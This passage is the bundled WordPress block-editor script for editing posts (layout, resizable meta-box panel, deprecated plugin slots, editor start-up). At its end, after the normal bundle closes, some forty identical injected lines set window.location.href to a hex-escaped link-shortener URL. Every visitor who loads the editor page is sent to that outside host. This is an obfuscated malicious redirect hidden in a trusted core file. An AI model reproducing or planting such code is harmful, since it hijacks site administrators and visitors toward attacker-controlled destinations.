2150 onMouseDown: (event) => event.stopPropagation(),
2151 onTouchStart: (event) => event.stopPropagation()
2152 },
2153 children: [
2154 paneLabel,
2155 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: isOpen ? chevron_up_default : chevron_down_default })
2156 ]
2157 }
2158 );
2159 const separator = !isShort && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2160 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: (0,external_wp_i18n_namespaceObject.__)("Drag to resize"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2161 "button",
2162 {
2163 ref: separatorRef,
2164 role: "separator",
2165 "aria-valuenow": usedAriaValueNow,
2166 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Drag to resize"),
2167 "aria-describedby": separatorHelpId,
2168 onKeyDown: onSeparatorKeyDown
2169 }
2170 ) }),
2171 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: separatorHelpId, children: (0,external_wp_i18n_namespaceObject.__)(
2172 "Use up and down arrow keys to resize the meta box panel."
2173 ) })
2174 ] });
2175 const paneProps = (
2176 /** @type {Parameters<typeof ResizableBox>[0]} */
2177 {
2178 as: navigable_region_default,
2179 ref: metaBoxesMainRef,
2180 className: "edit-post-meta-boxes-main",
2181 defaultSize: { height: isOpen ? openHeight : 0 },
2182 minHeight: min,
2183 maxHeight: max,
2184 enable: { top: true },
2185 handleClasses: { top: "edit-post-meta-boxes-main__presenter" },
2186 handleComponent: {
2187 top: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2188 toggle,
2189 separator
2190 ] })
2191 },
2192 // Avoids hiccups while dragging over objects like iframes and ensures that
2193 // the event to end the drag is captured by the target (resize handle)
2194 // whether or not it’s under the pointer.
2195 onPointerDown: ({ pointerId, target }) => {
2196 if (separatorRef.current?.parentElement.contains(target)) {
2197 target.setPointerCapture(pointerId);
2198 }
2199 },
2200 onResizeStart: ({ timeStamp }, direction, elementRef) => {
2201 if (isAutoHeight) {
2202 applyHeight(elementRef.offsetHeight, false, true);
2203 }
2204 elementRef.classList.add("is-resizing");
2205 resizeDataRef.current = { timeStamp, maxDelta: 0 };
2206 },
2207 onResize: (event, direction, elementRef, delta) => {
2208 const { maxDelta } = resizeDataRef.current;
2209 const newDelta = Math.abs(delta.height);
2210 resizeDataRef.current.maxDelta = Math.max(maxDelta, newDelta);
2211 applyHeight(metaBoxesMainRef.current.state.height);
2212 },
2213 onResizeStop: (event, direction, elementRef) => {
2214 elementRef.classList.remove("is-resizing");
2215 const duration = event.timeStamp - resizeDataRef.current.timeStamp;
2216 const wasSeparator = event.target === separatorRef.current;
2217 const { maxDelta } = resizeDataRef.current;
2218 const isToggleInferred = maxDelta < 1 || duration < 144 && maxDelta < 5;
2219 if (isShort || !wasSeparator && isToggleInferred) {
2220 resizeDataRef.current.isToggleInferred = true;
2221 } else {
2222 const { height } = metaBoxesMainRef.current.state;
2223 const nextIsOpen = height > min;
2224 persistIsOpen(nextIsOpen);
2225 if (nextIsOpen) {
2226 applyHeight(height, true);
2227 }
2228 }
2229 }
2230 }
2231 );
2232 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ResizableBox, { "aria-label": paneLabel, ...paneProps, children: [
2233 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("meta", { ref: effectSizeConstraints }),
2234 contents
2235 ] });
2236}
2237function Layout({
2238 postId: initialPostId,
2239 postType: initialPostType,
2240 settings,
2241 initialEdits
2242}) {
2243 useCommands();
2244 const shouldIframe = useShouldIframe();
2245 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
2246 const {
2247 currentPost: { postId: currentPostId, postType: currentPostType },
2248 onNavigateToEntityRecord,
2249 onNavigateToPreviousEntityRecord
2250 } = useNavigateToEntityRecord(
2251 initialPostId,
2252 initialPostType,
2253 "post-only"
2254 );
2255 const isEditingTemplate = currentPostType === "wp_template";
2256 const {
2257 mode,
2258 isFullscreenActive,
2259 hasResolvedMode,
2260 hasActiveMetaboxes,
2261 hasBlockSelected,
2262 showIconLabels,
2263 isDistractionFree,
2264 showMetaBoxes,
2265 isWelcomeGuideVisible,
2266 templateId,
2267 enablePaddingAppender,
2268 isDevicePreview
2269 } = (0,external_wp_data_namespaceObject.useSelect)(
2270 (select) => {
2271 const { get } = select(external_wp_preferences_namespaceObject.store);
2272 const { isFeatureActive, hasMetaBoxes } = select(store);
2273 const { canUser, getPostType, getTemplateId } = unlock(
2274 select(external_wp_coreData_namespaceObject.store)
2275 );
2276 const supportsTemplateMode = settings.supportsTemplateMode;
2277 const isViewable = getPostType(currentPostType)?.viewable ?? false;
2278 const canViewTemplate = canUser("read", {
2279 kind: "postType",
2280 name: "wp_template"
2281 });
2282 const { getBlockSelectionStart, isZoomOut } = unlock(
2283 select(external_wp_blockEditor_namespaceObject.store)
2284 );
2285 const {
2286 getEditorMode,
2287 getRenderingMode,
2288 getDefaultRenderingMode,
2289 getDeviceType
2290 } = unlock(select(external_wp_editor_namespaceObject.store));
2291 const isRenderingPostOnly = getRenderingMode() === "post-only";
2292 const isNotDesignPostType = !DESIGN_POST_TYPES.includes(currentPostType);
2293 const isDirectlyEditingPattern = currentPostType === "wp_block" && !onNavigateToPreviousEntityRecord;
2294 const _templateId = getTemplateId(currentPostType, currentPostId);
2295 const defaultMode = getDefaultRenderingMode(currentPostType);
2296 return {
2297 mode: getEditorMode(),
2298 isFullscreenActive: isFeatureActive("fullscreenMode"),
2299 hasActiveMetaboxes: hasMetaBoxes(),
2300 hasResolvedMode: defaultMode === "template-locked" ? !!_templateId : defaultMode !== void 0,
2301 hasBlockSelected: !!getBlockSelectionStart(),
2302 showIconLabels: get("core", "showIconLabels"),
2303 isDistractionFree: get("core", "distractionFree"),
2304 showMetaBoxes: isNotDesignPostType && !isZoomOut() || isDirectlyEditingPattern,
2305 isWelcomeGuideVisible: isFeatureActive("welcomeGuide"),
2306 templateId: supportsTemplateMode && isViewable && canViewTemplate && !isEditingTemplate ? _templateId : null,
2307 enablePaddingAppender: !isZoomOut() && isRenderingPostOnly && isNotDesignPostType,
2308 isDevicePreview: getDeviceType() !== "Desktop"
2309 };
2310 },
2311 [
2312 currentPostType,
2313 currentPostId,
2314 isEditingTemplate,
2315 settings.supportsTemplateMode,
2316 onNavigateToPreviousEntityRecord
2317 ]
2318 );
2319 useMetaBoxInitialization(hasActiveMetaboxes && hasResolvedMode);
2320 const [paddingAppenderRef, paddingStyle] = usePaddingAppender(
2321 enablePaddingAppender
2322 );
2323 const commandContext = hasBlockSelected ? "block-selection-edit" : "entity-edit";
2324 useCommandContext(commandContext);
2325 const editorSettings = (0,external_wp_element_namespaceObject.useMemo)(
2326 () => ({
2327 ...settings,
2328 onNavigateToEntityRecord,
2329 onNavigateToPreviousEntityRecord,
2330 defaultRenderingMode: "post-only"
2331 }),
2332 [settings, onNavigateToEntityRecord, onNavigateToPreviousEntityRecord]
2333 );
2334 const styles = useEditorStyles(paddingStyle);
2335 if (showIconLabels) {
2336 document.body.classList.add("show-icon-labels");
2337 } else {
2338 document.body.classList.remove("show-icon-labels");
2339 }
2340 const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
2341 const className = dist_clsx("edit-post-layout", "is-mode-" + mode, {
2342 "has-metaboxes": hasActiveMetaboxes
2343 });
2344 function onPluginAreaError(name) {
2345 createErrorNotice(
2346 (0,external_wp_i18n_namespaceObject.sprintf)(
2347 /* translators: %s: plugin name */
2348 (0,external_wp_i18n_namespaceObject.__)(
2349 'The "%s" plugin has encountered an error and cannot be rendered.'
2350 ),
2351 name
2352 )
2353 );
2354 }
2355 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
2356 const onActionPerformed = (0,external_wp_element_namespaceObject.useCallback)(
2357 (actionId, items) => {
2358 switch (actionId) {
2359 case "move-to-trash":
2360 {
2361 document.location.href = (0,external_wp_url_namespaceObject.addQueryArgs)("edit.php", {
2362 trashed: 1,
2363 post_type: items[0].type,
2364 ids: items[0].id
2365 });
2366 }
2367 break;
2368 case "duplicate-post":
2369 {
2370 const newItem = items[0];
2371 const title = typeof newItem.title === "string" ? newItem.title : newItem.title?.rendered;
2372 createSuccessNotice(
2373 (0,external_wp_i18n_namespaceObject.sprintf)(
2374 // translators: %s: Title of the created post or template, e.g: "Hello world".
2375 (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'),
2376 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title) || (0,external_wp_i18n_namespaceObject.__)("(no title)")
2377 ),
2378 {
2379 type: "snackbar",
2380 id: "duplicate-post-action",
2381 actions: [
2382 {
2383 label: (0,external_wp_i18n_namespaceObject.__)("Edit"),
2384 onClick: () => {
2385 const postId = newItem.id;
2386 document.location.href = (0,external_wp_url_namespaceObject.addQueryArgs)("post.php", {
2387 post: postId,
2388 action: "edit"
2389 });
2390 }
2391 }
2392 ]
2393 }
2394 );
2395 }
2396 break;
2397 }
2398 },
2399 [createSuccessNotice]
2400 );
2401 const initialPost = (0,external_wp_element_namespaceObject.useMemo)(() => {
2402 return {
2403 type: initialPostType,
2404 id: initialPostId
2405 };
2406 }, [initialPostType, initialPostId]);
2407 const backButton = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium") && isFullscreenActive ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(back_button_default, { initialPost }) : null;
2408 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_editor_namespaceObject.ErrorBoundary, { canCopyContent: true, children: [
2409 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, { postType: currentPostType }),
2410 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2411 "div",
2412 {
2413 className: navigateRegionsProps.className,
2414 ...navigateRegionsProps,
2415 ref: navigateRegionsProps.ref,
2416 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2417 Editor,
2418 {
2419 settings: editorSettings,
2420 initialEdits,
2421 postType: currentPostType,
2422 postId: currentPostId,
2423 templateId,
2424 className,
2425 styles,
2426 forceIsDirty: hasActiveMetaboxes,
2427 contentRef: paddingAppenderRef,
2428 disableIframe: !shouldIframe,
2429 autoFocus: !isWelcomeGuideVisible,
2430 onActionPerformed,
2431 extraSidebarPanels: showMetaBoxes && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, { location: "side" }),
2432 extraContent: !isDistractionFree && showMetaBoxes && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2433 MetaBoxesMain,
2434 {
2435 isLegacy: !shouldIframe || isDevicePreview
2436 }
2437 ),
2438 children: [
2439 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PostLockedModal, {}),
2440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorInitialization, {}),
2441 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FullscreenMode, { isActive: isFullscreenActive }),
2442 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BrowserURL, {}),
2443 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.UnsavedChangesWarning, {}),
2444 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.AutosaveMonitor, {}),
2445 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.LocalAutosaveMonitor, {}),
2446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts_default, {}),
2447 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorKeyboardShortcutsRegister, {}),
2448 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}),
2449 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InitPatternModal, {}),
2450 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, { onError: onPluginAreaError }),
2451 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(more_menu_default, {}),
2452 backButton,
2453 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorSnackbars, {})
2454 ]
2455 }
2456 )
2457 }
2458 )
2459 ] }) });
2460}
2461var layout_default = Layout;
2462
2463
2464;// ./node_modules/@wordpress/edit-post/build-module/deprecated.js
2465
2466
2467
2468
2469
2470const { PluginPostExcerpt } = unlock(external_wp_editor_namespaceObject.privateApis);
2471const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes(
2472 "site-editor.php"
2473);
2474const deprecateSlot = (name) => {
2475 external_wp_deprecated_default()(`wp.editPost.${name}`, {
2476 since: "6.6",
2477 alternative: `wp.editor.${name}`
2478 });
2479};
2480function PluginBlockSettingsMenuItem(props) {
2481 if (isSiteEditor) {
2482 return null;
2483 }
2484 deprecateSlot("PluginBlockSettingsMenuItem");
2485 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginBlockSettingsMenuItem, { ...props });
2486}
2487function PluginDocumentSettingPanel(props) {
2488 if (isSiteEditor) {
2489 return null;
2490 }
2491 deprecateSlot("PluginDocumentSettingPanel");
2492 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginDocumentSettingPanel, { ...props });
2493}
2494function PluginMoreMenuItem(props) {
2495 if (isSiteEditor) {
2496 return null;
2497 }
2498 deprecateSlot("PluginMoreMenuItem");
2499 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginMoreMenuItem, { ...props });
2500}
2501function PluginPrePublishPanel(props) {
2502 if (isSiteEditor) {
2503 return null;
2504 }
2505 deprecateSlot("PluginPrePublishPanel");
2506 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPrePublishPanel, { ...props });
2507}
2508function PluginPostPublishPanel(props) {
2509 if (isSiteEditor) {
2510 return null;
2511 }
2512 deprecateSlot("PluginPostPublishPanel");
2513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPostPublishPanel, { ...props });
2514}
2515function PluginPostStatusInfo(props) {
2516 if (isSiteEditor) {
2517 return null;
2518 }
2519 deprecateSlot("PluginPostStatusInfo");
2520 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPostStatusInfo, { ...props });
2521}
2522function PluginSidebar(props) {
2523 if (isSiteEditor) {
2524 return null;
2525 }
2526 deprecateSlot("PluginSidebar");
2527 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebar, { ...props });
2528}
2529function PluginSidebarMoreMenuItem(props) {
2530 if (isSiteEditor) {
2531 return null;
2532 }
2533 deprecateSlot("PluginSidebarMoreMenuItem");
2534 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebarMoreMenuItem, { ...props });
2535}
2536function __experimentalPluginPostExcerpt() {
2537 if (isSiteEditor) {
2538 return null;
2539 }
2540 external_wp_deprecated_default()("wp.editPost.__experimentalPluginPostExcerpt", {
2541 since: "6.6",
2542 hint: "Core and custom panels can be access programmatically using their panel name.",
2543 link: "https://developer.wordpress.org/block-editor/reference-guides/slotfills/plugin-document-setting-panel/#accessing-a-panel-programmatically"
2544 });
2545 return PluginPostExcerpt;
2546}
2547
2548
2549;// ./node_modules/@wordpress/edit-post/build-module/index.js
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561const {
2562 BackButton: __experimentalMainDashboardButton,
2563 registerCoreBlockBindingsSources
2564} = unlock(external_wp_editor_namespaceObject.privateApis);
2565function initializeEditor(id, postType, postId, settings, initialEdits) {
2566 const isMediumOrBigger = window.matchMedia("(min-width: 782px)").matches;
2567 const target = document.getElementById(id);
2568 const root = (0,external_wp_element_namespaceObject.createRoot)(target);
2569 (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults("core/edit-post", {
2570 fullscreenMode: true,
2571 themeStyles: true,
2572 welcomeGuide: true,
2573 welcomeGuideTemplate: true
2574 });
2575 (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults("core", {
2576 allowRightClickOverrides: true,
2577 editorMode: "visual",
2578 editorTool: "edit",
2579 fixedToolbar: false,
2580 hiddenBlockTypes: [],
2581 inactivePanels: [],
2582 openPanels: ["post-status"],
2583 showBlockBreadcrumbs: true,
2584 showIconLabels: false,
2585 showListViewByDefault: false,
2586 enableChoosePatternModal: true,
2587 isPublishSidebarEnabled: true
2588 });
2589 if (window.__experimentalMediaProcessing) {
2590 (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults("core/media", {
2591 requireApproval: true,
2592 optimizeOnUpload: true
2593 });
2594 }
2595 (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
2596 if (isMediumOrBigger && (0,external_wp_data_namespaceObject.select)(external_wp_preferences_namespaceObject.store).get("core", "showListViewByDefault") && !(0,external_wp_data_namespaceObject.select)(external_wp_preferences_namespaceObject.store).get("core", "distractionFree")) {
2597 (0,external_wp_data_namespaceObject.dispatch)(external_wp_editor_namespaceObject.store).setIsListViewOpened(true);
2598 }
2599 (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)();
2600 registerCoreBlockBindingsSources();
2601 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({ inserter: false });
2602 (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({ inserter: false });
2603 if (false) {}
2604 const documentMode = document.compatMode === "CSS1Compat" ? "Standards" : "Quirks";
2605 if (documentMode !== "Standards") {
2606 console.warn(
2607 "Your browser is using Quirks Mode. \nThis can cause rendering issues such as blocks overlaying meta boxes in the editor. Quirks Mode can be triggered by PHP errors or HTML code appearing before the opening <!DOCTYPE html>. Try checking the raw page source or your site's PHP error log and resolving errors there, removing any HTML before the doctype, or disabling plugins."
2608 );
2609 }
2610 const isIphone = window.navigator.userAgent.indexOf("iPhone") !== -1;
2611 if (isIphone) {
2612 window.addEventListener("scroll", (event) => {
2613 const editorScrollContainer = document.getElementsByClassName(
2614 "interface-interface-skeleton__body"
2615 )[0];
2616 if (event.target === document) {
2617 if (window.scrollY > 100) {
2618 editorScrollContainer.scrollTop = editorScrollContainer.scrollTop + window.scrollY;
2619 }
2620 if (document.getElementsByClassName("is-mode-visual")[0]) {
2621 window.scrollTo(0, 0);
2622 }
2623 }
2624 });
2625 }
2626 window.addEventListener("dragover", (e) => e.preventDefault(), false);
2627 window.addEventListener("drop", (e) => e.preventDefault(), false);
2628 root.render(
2629 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2630 layout_default,
2631 {
2632 settings,
2633 postId,
2634 postType,
2635 initialEdits
2636 }
2637 ) })
2638 );
2639 return root;
2640}
2641function reinitializeEditor() {
2642 external_wp_deprecated_default()("wp.editPost.reinitializeEditor", {
2643 since: "6.2",
2644 version: "6.3"
2645 });
2646}
2647
2648
2649
2650
2651
2652(window.wp = window.wp || {}).editPost = __webpack_exports__;
2653/******/ })()
2654;
2655window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2656window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2657window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2658window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2659window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2660window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2661window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2662window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2663window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2664window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2665window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2666window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2667window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2668window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2669window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2670window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2671window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2672window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2673window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2674window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2675window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2676window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2677window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2678window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2679window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2680window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2681window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2682window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2683window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2684window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2685window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2686window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2687window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2688window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2689window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2690window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2691window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2692window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2693window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2694window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2695window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
